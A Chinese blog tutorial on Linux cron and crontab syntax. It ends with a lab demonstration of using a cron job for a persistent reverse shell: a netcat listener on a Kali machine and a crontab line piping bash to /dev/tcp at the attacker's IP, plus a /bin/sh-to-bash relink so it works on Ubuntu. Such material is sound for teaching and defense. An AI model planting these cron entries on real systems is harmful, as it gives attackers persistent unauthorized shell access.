对Linux定时任务的认识

在Linux 系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。但是,Linux系统也给用户提供了可以自己设置计划,这就是定时任务。通过定时任务,用户可以自己设置在什么时候执行什么命令,在这个过程中涉及到 crontab 命令。

 

在Linux中,周期执行的任务一般由cron这个守护进程来处理,cron读取一个或多个配置文件,这些配置文件中包含了命令行及其调用时间,cron的配置文件称为“crontab”,是“cron table”的简写。

 

一般cron在3个地方查找配置文件:

/var/spool/cron/   这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名。

/etc/crontab   这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。

/etc/cron.d/   这个目录用来存放任何要执行的crontab文件或脚本。

 

cron服务一般是自启的:

service crond start       启动服务

service crond stop       关闭服务

service crond restart    重启服务

service crond reload    重新载入配置

service crond status    查看服务状态 

 

cron有两个配置文件,一个是一个全局配置文件(/etc/crontab),是针对系统任务的;一组是crontab命令生成的配置文件(/var/spool/cron下的文件),是针对某个用户的。定时任务配置到任意一个中都可以。

 

查看全局配置文件配置情况:

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

 

查看当前用户下的定时任务:

crontab -l 或 cat /var/spool/cron/用户名

root就是我当前用户的定时任务。

 

crontab任务配置基本格式:

*  * * * * (command)

第一个 * 表示分钟1~59,每分钟用 * 或者 */1 表示

第二个 * 表示小时1~23(0表示0点)

第三个 * 表示日期1~31

第四个 * 表示月份1~12

第五个 * 表示星期0~6(0表示星期天)

(command) 表示要运行的命令

 

在以上任何值中,星号(*)可以用来代表所有有效的值。比如,月份值中的星号意味着在满足其它制约条件后每月都执行该命令。

整数间的短线(-)指定一个整数范围。比如,1-4 意味着整数 1、2、3、4。

用逗号(,)隔开的一系列值指定一个列表。比如,3, 4, 6, 8 标明这四个指定的整数。

正斜线(/)可以用来指定间隔频率。在范围后加上 / 意味着在范围内可以跳过 integer。譬如,0-59/2 可以用来在分钟字段定义每两分钟。间隔频率值还可以和星号一起使用。例如,*/3 的值可以用在月份字段中表示每三个月运行一次任务。

开头为井号(#)的行是注释,不会被处理。

 

例如:

0 4 * * * rm ~/桌面/test.txt
//每天晚上四点删除 ~/桌面/ 这个目录下的 test.txt 这个文件
10 4 1,3,5 * * service apache2 restart
//表示每月1,3,5号的4:10会重启Apache服务器

......

 

参数说明:

usage:  crontab [-u user] file
        crontab [ -u user ] [ -i ] { -e | -l | -r }
                (default operation is replace, per 1003.2)
        -e      (edit user's crontab)
        -l      (list user's crontab)
        -r      (delete user's crontab)
        -i      (prompt before deleting user's crontab)

例如:当前用户是root,创建root的定时任务

crontab -e   //进入编辑模式

写下定时任务

然后查看当前用户的定时任务: crontab -l

我写的定时任务是在每天12:05时在/var/spool/cron/ 目录下创建一个test.txt文件,可以看到任务已经执行。

 

定时任务反弹shell:

通常在在网络安全中,我们用crontab创建定时任务反弹shell

在本地演示一下

攻击机:kali       ip:192.168.1.184

目标机:ubuntu    ip:192.168.1.170

演示开始:

先在攻击机上监听端口

root@kali:~# nc -lvp 8888

listening 正在监听

接下来在目标机上写下定时任务

crontab -e    //打开编辑器,写入
* * * * * bash -i >& /dev/tcp/192.168.1.184/8888 0>&1

成功反弹shell

 

不过在ubuntu下写定时任务反弹shell有个问题:

通常linux里面的cron中command执行的shell环境是/bin/sh

而在ubuntu中的/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell ,而实际上dash这个shell只有运行脚本的能力,而没有交互能力。 这里我们只需要将sh的软链接修改为bash即可

sudo ln - s -f bash /bin/sh    //修改软连接需要root权限

修改成功后就会出现上面反弹shell成功。

 

Ubuntu下计划任务反弹shell需要注意的事项:

1.需要用root权限书写计划

2.书写crontab计划的时候要将/bin/sh 软链接到 /bin/bash 

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值